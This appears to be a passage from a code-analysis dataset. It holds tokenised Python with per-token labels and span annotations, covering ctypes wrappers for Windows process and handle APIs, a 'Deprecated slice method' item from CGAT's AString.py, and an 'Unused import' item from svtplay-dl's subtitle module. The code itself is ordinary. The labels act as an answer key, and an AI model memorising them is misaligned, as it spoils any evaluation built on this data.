"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "https", "://", "msd", "n", ".", "micros", "oft", ".", "com", "/", "en", "-", "us", "/", "librar", "y", "/", "ms", "687", "032", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "win_", "(_", "kernel32_", "._", "Wait", "For", "Sing", "le", "Object_", ",_", "DW", "ORD", "\\u", "ID", "V_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wintype", "s_", "._", "HANDLE_", ",_", "#", " ", "\\u", "In", "\\u", " ", "h", "Handle_", "\\u\\u\\uNL\\u\\u\\u_", "wintype", "s_", "._", "DWORD_", ")_", "#", " ", "\\u", "In", "\\u", " ", "dw", "Milli", "seconds_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "https", "://", "msd", "n", ".", "micros", "oft", ".", "com", "/", "en", "-", "us", "/", "librar", "y", "/", "ms", "683", "231_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "win_", "(_", "kernel32_", "._", "Get", "Std", "Handle_", ",_", "HANDLE", "\\u", "IH", "V_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wintype", "s_", "._", "DWORD_", ")_", "#", " ", "\\u", "In", "\\u", " ", "n", "Std", "Handle_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "https", "://", "msd", "n", ".", "micros", "oft", ".", "com", "/", "en", "-", "us", "/", "librar", "y", "/", "ms", "724", "211_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "win_", "(_", "kernel32_", "._", "Clos", "e", "Handle_", ",_", "wintype", "s_", "._", "BOOL_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wintype", "s_", "._", "HANDLE_", ")_", "#", " ", "\\u", "In", "\\u", " ", "h", "Object_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "https", "://", "msd", "n", ".", "micros", "oft", ".", "com", "/", "en", "-", "us", "/", "librar", "y", "/", "ms", "724", "935", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "win_", "(_", "kernel32_", "._", "Set", "Handle", "Information_", ",_", "wintype", "s_", "._", "BOOL_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wintype", "s_", "._", "HANDLE_", ",_", "#", " ", "\\u", "In", "\\u", " ", "h", "Object_", "\\u\\u\\uNL\\u\\u\\u_", "wintype", "s_", "._", "DWORD_", ",_", "#", " ", "\\u", "In", "\\u", " ", "dw", "Mask_", "\\u\\u\\uNL\\u\\u\\u_", "wintype", "s_", "._", "DWORD_", ")_", "#", " ", "\\u", "In", "\\u", " ", "dw", "Flags_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "https", "://", "msd", "n", ".", "micros", "oft", ".", "com", "/", "en", "-", "us", "/", "librar", "y", "/", "ms", "724", "251_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "win_", "(_", "kernel32_", "._", "Duplicate", "Handle_", ",_", "wintype", "s_", "._", "BOOL_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wintype", "s_", "._", "HANDLE_", ",_", "#", " ", "\\u", "In", "\\u", " ", " ", "h", "Sou", "rce", "Process", "Handle", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wintype", "s_", "._", "HANDLE_", ",_", "#", " ", "\\u", "In", "\\u", " ", " ", "h", "Sou", "rce", "Handle", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wintype", "s_", "._", "HANDLE_", ",_", "#", " ", "\\u", "In", "\\u", " ", " ", "h", "Target", "Process", "Handle", ",_", "\\u\\u\\uNL\\u\\u\\u_", "LP", "HANDLE_", ",_", "#", " ", "\\u", "Out", "\\u", " ", "lp", "Target", "Handle", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wintype", "s_", "._", "DWORD_", ",_", "#", " ", "\\u", "In", "\\u", " ", " ", "dw", "Des", "ired", "Access", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wintype", "s_", "._", "BOOL_", ",_", "#", " ", "\\u", "In", "\\u", " ", " ", "b", "Inherit", "Handle", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wintype", "s_", "._", "DWORD_", ")_", "#", " ", "\\u", "In", "\\u", " ", " ", "dw", "Options_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "https", "://", "msd", "n", ".", "micros", "oft", ".", "com", "/", "en", "-", "us", "/", "librar", "y", "/", "ms", "683", "179_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "win_", "(_", "kernel32_", "._", "Get", "Curr", "ent", "Process_", ",_", "wintype", "s_", "._", "HANDLE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "https", "://", "msd", "n", ".", "micros", "oft", ".", "com", "/", "en", "-", "us", "/", "librar", "y", "/", "ms", "683", "189_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "win_", "(_", "kernel32_", "._", "Get", "Exi", "t", "Code", "Process_", ",_", "wintype", "s_", "._", "BOOL_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wintype", "s_", "._", "HANDLE_", ",_", "#", " ", "\\u", "In", "\\u", " ", " ", "h", "Process", ",_", "\\u\\u\\uNL\\u\\u\\u_", "LP", "DWORD_", ")_", "#", " ", "\\u", "Out", "\\u", " ", "lp", "Exi", "t", "Code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "https", "://", "msd", "n", ".", "micros", "oft", ".", "com", "/", "en", "-", "us", "/", "librar", "y", "/", "aa", "365", "152_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "win_", "(_", "kernel32_", "._", "Creat", "e", "Pipe_", ",_", "wintype", "s_", "._", "BOOL_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "PHA", "ND", "LE_", ",_", "#", " ", "\\u", "Out", "\\u", " ", " ", " ", " ", "h", "Read", "Pipe", ",_", "\\u\\u\\uNL\\u\\u\\u_", "PHA", "ND", "LE_", ",_", "#", " ", "\\u", "Out", "\\u", " ", " ", " ", " ", "h", "Write", "Pipe", ",_", "\\u\\u\\uNL\\u\\u\\u_", "LP", "SECURITY", "\\u", "ATTRIBUTES_", ",_", "#", " ", "\\u", "In", "\\u", "opt", "\\u", " ", "lp", "Pipe", "Attribute", "s", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wintype", "s_", "._", "DWORD_", ")_", "#", " ", "\\u", "In", "\\u", " ", "n", "Size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "https", "://", "msd", "n", ".", "micros", "oft", ".", "com", "/", "en", "-", "us", "/", "librar", "y", "/", "ms", "682", "431", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "win_", "(_", "adv", "api", "32_", "._", "Creat", "e", "Process", "With", "Logo", "n", "W_", ",_", "wintype", "s_", "._", "BOOL_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wintype", "s_", "._", "LP", "CW", "STR_", ",_", "#", " ", "\\u", "In", "\\u", " ", " ", " ", " ", "lp", "Username_", "\\u\\u\\uNL\\u\\u\\u_", "wintype", "s_", "._", "LP", "CW", "STR_", ",_", "#", " ", "\\u", "In", "\\u", "opt", "\\u", " ", " ", " ", " ", "lp", "Domain_", "\\u\\u\\uNL\\u\\u\\u_", "wintype", "s_", "._", "LP", "CW", "STR_", ",_", "#", " ", "\\u", "In", "\\u", " ", " ", " ", " ", "lp", "Password_", "\\u\\u\\uNL\\u\\u\\u_", "wintype", "s_", "._", "DWORD_", ",_", "#", " ", "\\u", "In", "\\u", " ", " ", " ", " ", "dw", "Logo", "n", "Flags_", "\\u\\u\\uNL\\u\\u\\u_", "wintype", "s_", "._", "LP", "CW", "STR_", ",_", "#", " ", "\\u", "In", "\\u", "opt", "\\u", " ", " ", " ", " ", "lp", "Applica", "tion", "Name_", "\\u\\u\\uNL\\u\\u\\u_", "wintype", "s_", "._", "LP", "WS", "TR_", ",_", "#", " ", "\\u", "In", "out", "\\u", "opt", "\\u", " ", "lp", "Command", "Line_", "\\u\\u\\uNL\\u\\u\\u_", "wintype", "s_", "._", "DWORD_", ",_", "#", " ", "\\u", "In", "\\u", " ", " ", " ", " ", "dw", "Creat", "ion", "Flags_", "\\u\\u\\uNL\\u\\u\\u_", "wintype", "s_", "._", "LP", "CW", "STR_", ",_", "#", " ", "\\u", "In", "\\u", "opt", "\\u", " ", " ", " ", " ", "lp", "Environment_", "\\u\\u\\uNL\\u\\u\\u_", "wintype", "s_", "._", "LP", "CW", "STR_", ",_", "#", " ", "\\u", "In", "\\u", "opt", "\\u", " ", " ", " ", " ", "lp", "Curr", "ent", "Directory_", "\\u\\u\\uNL\\u\\u\\u_", "LP", "START", "UP", "INFO_", ",_", "#", " ", "\\u", "In", "\\u", " ", " ", " ", " ", "lp", "Start", "up", "Info_", "\\u\\u\\uNL\\u\\u\\u_", "LP", "PROCESS", "\\u", "INFORMATION", "_", ")_", "#", " ", "\\u", "Out", "\\u", " ", " ", " ", "lp", "Process", "Information_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Hig", "h", "-", "level", " ", "wrappers_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Deprecated slice method
CGATOxford/cgat/CGAT/AString.py
[ { "content": " def __getslice__(self, *args):\n \"\"\"return slice as a string.\"\"\"\n return array.__getslice__(self, *args).tostring()", "metadata": "root.AString.__getslice__", "header": "['class', 'AString', '(', 'array', ')', ':', '___EOS___']", "index": 61 }, { "content": " def __setslice__(self, start, end, sub):\n \"\"\"set slice start:end from a string sub.\"\"\"\n return array.__setslice__(self,\n start, end,\n array(\"c\", sub))", "metadata": "root.AString.__setslice__", "header": "['class', 'AString', '(', 'array', ')', ':', '___EOS___']", "index": 65 } ]
[ { "span": "def __getslice__(self, *args):", "start_line": 61, "start_column": 4, "end_line": 61, "end_column": 34 }, { "span": "def __setslice__(self, start, end, sub):", "start_line": 65, "start_column": 4, "end_line": 65, "end_column": 44 } ]
[]
1
true
[ "[CLS]_", "Dep", "reca", "ted_", "slice_", "method_", "[SEP]_", "class_", "AS", "tring_", "(_", "array_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "gets", "lice", "\\u\\u_", "(_", "self_", ",_", "*_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "return", " ", "slice", " ", "as", " ", "a", " ", "string", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "array_", "._", "\\u\\u", "gets", "lice", "\\u\\u_", "(_", "self_", ",_", "*_", "args_", ")_", "._", "tostring_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "AS", "tring_", "(_", "array_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "sets", "lice", "\\u\\u_", "(_", "self_", ",_", "start_", ",_", "end_", ",_", "sub_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "set", " ", "slice", " ", "start", ":", "end", " ", "from", " ", "a", " ", "string", " ", "sub", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "array_", "._", "\\u\\u", "sets", "lice", "\\u\\u_", "(_", "self_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "start_", ",_", "end_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "array_", "(_", "\"", "c", "\"_", ",_", "sub_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
spaam/svtplay-dl/lib/svtplay_dl/subtitle/__init__.py
[ { "content": "import xml.etree.ElementTree as ET\nimport json\nimport re\nfrom svtplay_dl.log import log\nfrom svtplay_dl.utils import is_py2, is_py3, decode_html_entities\nfrom svtplay_dl.utils.io import StringIO\nfrom svtplay_dl.output import output\nfrom requests import Session\nfrom requests import __build__ as requests_version\nimport platform\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class subtitle(object):\n\n\n\n\n\n", "metadata": "root.subtitle", "header": "['module', '___EOS___']", "index": 12 }, { "content": " def __init__(self, options, subtype, url):\n self.url = url\n self.subtitle = None\n self.options = options\n self.subtype = subtype\n self.http = Session()", "metadata": "root.subtitle.__init__", "header": "['class', 'subtitle', '(', 'object', ')', ':', '___EOS___']", "index": 13 }, { "content": " def download(self):\n subdata = self.http.request(\"get\", self.url, cookies=self.options.cookies)\n\n data = None\n if self.subtype == \"tt\":\n data = self.tt(subdata)\n if self.subtype == \"json\":\n data = self.json(subdata)\n if self.subtype == \"sami\":\n data = self.sami(subdata)\n if self.subtype == \"smi\":\n data = self.smi(subdata)\n if self.subtype == \"wrst\":\n data = self.wrst(subdata)\n if self.subtype == \"raw\":\n if is_py2:\n data = subdata.text.encode(\"utf-8\")\n else:\n data = subdata.text\n\n if platform.system() == \"Windows\" and is_py3:\n file_d = output(self.options, \"srt\", mode=\"wt\", encoding=\"utf-8\")\n else:\n file_d = output(self.options, \"srt\", mode=\"wt\")\n if hasattr(file_d, \"read\") is False:\n return\n file_d.write(data)\n file_d.close()", "metadata": "root.subtitle.download", "header": "['class', 'subtitle', '(', 'object', ')', ':', '___EOS___']", "index": 20 }, { "content": " def tt(self, subdata):\n i = 1\n data = \"\"\n if is_py2:\n subs = subdata.text.encode(\"utf8\")\n else:\n subs = subdata.text\n\n subdata = re.sub(' xmlns=\"[^\"]+\"', '', subs, count=1)\n tree = ET.XML(subdata)\n xml = tree.find(\"body\").find(\"div\")\n plist = list(xml.findall(\"p\"))\n for node in plist:\n tag = norm(node.tag)\n if tag == \"p\" or tag == \"span\":\n begin = node.attrib[\"begin\"]\n if not (\"dur\" in node.attrib):\n duration = node.attrib[\"duration\"]\n else:\n duration = node.attrib[\"dur\"]\n if not (\"end\" in node.attrib):\n begin2 = begin.split(\":\")\n duration2 = duration.split(\":\")\n try:\n sec = float(begin2[2]) + float(duration2[2])\n except ValueError:\n sec = 0.000\n end = \"%02d:%02d:%06.3f\" % (int(begin[0]), int(begin[1]), sec)\n else:\n end = node.attrib[\"end\"]\n data += '%s\\n%s --> %s\\n' % (i, begin.replace(\".\", \",\"), end.replace(\".\", \",\"))\n data = tt_text(node, data)\n data += \"\\n\"\n i += 1\n if is_py2:\n data = data.encode(\"utf8\")\n return data", "metadata": "root.subtitle.tt", "header": "['class', 'subtitle', '(', 'object', ')', ':', '___EOS___']", "index": 49 }, { "content": " def json(self, subdata):\n data = json.loads(subdata.text)\n number = 1\n subs = \"\"\n for i in data:\n subs += \"%s\\n%s --> %s\\n\" % (number, timestr(int(i[\"startMillis\"])), timestr(int(i[\"endMillis\"])))\n if is_py2:\n subs += \"%s\\n\\n\" % i[\"text\"].encode(\"utf-8\")\n else:\n subs += \"%s\\n\\n\" % i[\"text\"]\n number += 1\n\n return subs", "metadata": "root.subtitle.json", "header": "['class', 'subtitle', '(', 'object', ')', ':', '___EOS___']", "index": 87 }, { "content": " def sami(self, subdata):\n tree = ET.XML(subdata.text.encode(\"utf8\"))\n subt = tree.find(\"Font\")\n subs = \"\"\n n = 0\n for i in subt.getiterator():\n if i.tag == \"Subtitle\":\n n = i.attrib[\"SpotNumber\"]\n\n if i.attrib[\"SpotNumber\"] == \"1\":\n subs += \"%s\\n%s --> %s\\n\" % (i.attrib[\"SpotNumber\"], timecolon(i.attrib[\"TimeIn\"]), timecolon(i.attrib[\"TimeOut\"]))\n else:\n subs += \"\\n%s\\n%s --> %s\\n\" % (i.attrib[\"SpotNumber\"], timecolon(i.attrib[\"TimeIn\"]), timecolon(i.attrib[\"TimeOut\"]))\n else:\n if int(n) > 0:\n subs += \"%s\\n\" % i.text\n\n if is_py2:\n subs = subs.encode('utf8')\n return subs", "metadata": "root.subtitle.sami", "header": "['class', 'subtitle', '(', 'object', ')', ':', '___EOS___']", "index": 101 }, { "content": " def smi(self, subdata):\n if requests_version < 0x20300:\n if is_py2:\n subdata = subdata.content\n else:\n subdata = subdata.content.decode(\"latin\")\n else:\n subdata.encoding = \"ISO-8859-1\"\n subdata = subdata.text\n ssubdata = StringIO(subdata)\n timea = 0\n number = 1\n data = None\n subs = \"\"\n TAG_RE = re.compile(r'<[^>]+>')\n bad_char = re.compile(r'\\x96')\n for i in ssubdata.readlines():\n i = i.rstrip()\n sync = re.search(r\"<SYNC Start=(\\d+)>\", i)\n if sync:\n if int(sync.group(1)) != int(timea):\n if data and data != \"&nbsp;\":\n subs += \"%s\\n%s --> %s\\n\" % (number, timestr(timea), timestr(sync.group(1)))\n text = \"%s\\n\" % TAG_RE.sub('', data.replace(\"<br>\", \"\\n\"))\n if text[len(text)-2] != \"\\n\":\n text += \"\\n\"\n subs += text\n number += 1\n timea = sync.group(1)\n text = re.search(\"<P Class=SVCC>(.*)\", i)\n if text:\n data = text.group(1)\n recomp = re.compile(r'\\r')\n text = bad_char.sub('-', recomp.sub('', subs)).replace('&quot;', '\"')\n if is_py2 and isinstance(text, unicode):\n return text.encode(\"utf-8\")\n return text", "metadata": "root.subtitle.smi", "header": "['class', 'subtitle', '(', 'object', ')', ':', '___EOS___']", "index": 122 }, { "content": " def wrst(self, subdata):\n ssubdata = StringIO(subdata.text)\n srt = \"\"\n subtract = False\n number_b = 1\n number = 0\n block = 0\n subnr = False\n for i in ssubdata.readlines():\n match = re.search(r\"^[\\r\\n]+\", i)\n match2 = re.search(r\"([\\d:\\.]+ --> [\\d:\\.]+)\", i)\n match3 = re.search(r\"^(\\d+)\\s\", i)\n if i[:6] == \"WEBVTT\":\n pass\n elif match and number_b > 1:\n block = 0\n srt += \"\\n\"\n elif match2:\n if not subnr:\n srt += \"%s\\n\" % number_b\n matchx = re.search(r'(\\d+):(\\d+)[.:]([\\d\\.]+) --> (\\d+):(\\d+)[.:]([\\d\\.]+)', i)\n hour1 = int(matchx.group(1))\n hour2 = int(matchx.group(4))\n if int(number) == 1:\n if hour1 > 9:\n subtract = True\n if subtract:\n hour1 -= 10\n hour2 -= 10\n time = \"%s:%s:%s --> %s:%s:%s\\n\" % (hour1, matchx.group(2), matchx.group(3).replace(\".\", \",\"), hour2, matchx.group(5), matchx.group(6).replace(\".\", \",\"))\n srt += time\n block = 1\n subnr = False\n number_b += 1\n\n elif match3 and block == 0:\n number = match3.group(1)\n srt += \"%s\\n\" % number\n subnr = True\n else:\n sub = re.sub('<[^>]*>', '', i)\n srt += sub.strip()\n srt+=\"\\n\"\n srt = decode_html_entities(srt)\n if is_py2:\n return srt.encode(\"utf-8\")\n return srt", "metadata": "root.subtitle.wrst", "header": "['class', 'subtitle', '(', 'object', ')', ':', '___EOS___']", "index": 160 }, { "content": "def timestr(msec):\n \"\"\"\n Convert a millisecond value to a string of the following\n format:\n\n HH:MM:SS,SS\n\n with 10 millisecond precision. Note the , seperator in\n the seconds.\n \"\"\"\n sec = float(msec) / 1000\n\n hours = int(sec / 3600)\n sec -= hours * 3600\n\n minutes = int(sec / 60)\n sec -= minutes * 60\n\n output = \"%02d:%02d:%05.2f\" % (hours, minutes, sec)\n return output.replace(\".\", \",\")", "metadata": "root.timestr", "header": "['module', '___EOS___']", "index": 209 }, { "content": "def timecolon(data):\n match = re.search(r\"(\\d+:\\d+:\\d+):(\\d+)\", data)\n return \"%s,%s\" % (match.group(1), match.group(2))", "metadata": "root.timecolon", "header": "['module', '___EOS___']", "index": 231 }, { "content": "def norm(name):\n if name[0] == \"{\":\n _, tag = name[1:].split(\"}\")\n return tag\n else:\n return name", "metadata": "root.norm", "header": "['module', '___EOS___']", "index": 236 }, { "content": "def tt_text(node, data):\n if node.text:\n data += \"%s\\n\" % node.text.strip(' \\t\\n\\r')\n for i in node:\n if i.text:\n data += \"%s\\n\" % i.text.strip(' \\t\\n\\r')\n if i.tail:\n text = i.tail.strip(' \\t\\n\\r')\n if text:\n data += \"%s\\n\" % text\n return data", "metadata": "root.tt_text", "header": "['module', '___EOS___']", "index": 244 } ]
[ { "span": "from svtplay_dl.log import log", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 30 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "xml_", "._", "etree_", "._", "Element", "Tree_", "as_", "ET_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sv", "tpl", "ay", "\\u", "dl_", "._", "log_", "import_", "log_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sv", "tpl", "ay", "\\u", "dl_", "._", "utils_", "import_", "is", "\\u", "py2", "_", ",_", "is", "\\u", "py3", "_", ",_", "decode", "\\u", "html", "\\u", "entities_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sv", "tpl", "ay", "\\u", "dl_", "._", "utils_", "._", "io_", "import_", "String", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sv", "tpl", "ay", "\\u", "dl_", "._", "output_", "import_", "output_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "requests_", "import_", "Session_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "requests_", "import_", "\\u\\u", "build", "\\u\\u_", "as_", "request", "s", "\\u", "version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "platform_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "subtitle_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "subtitle_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "options_", ",_", "subtype_", ",_", "url_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "url_", "=_", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "subtitle_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "options_", "=_", "options_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "subtype_", "=_", "subtype_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "http_", "=_", "Session_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "subtitle_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "download_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subd", "ata_", "=_", "self_", "._", "http_", "._", "request_", "(_", "\"", "get", "\"_", ",_", "self_", "._", "url_", ",_", "cookies_", "=_", "self_", "._", "options_", "._", "cookies_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "subtype_", "==_", "\"", "tt", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "self_", "._", "tt_", "(_", "subd", "ata_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "subtype_", "==_", "\"", "json", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "self_", "._", "json_", "(_", "subd", "ata_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "subtype_", "==_", "\"", "sam", "i", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "self_", "._", "sam", "i_", "(_", "subd", "ata_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "subtype_", "==_", "\"", "smi", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 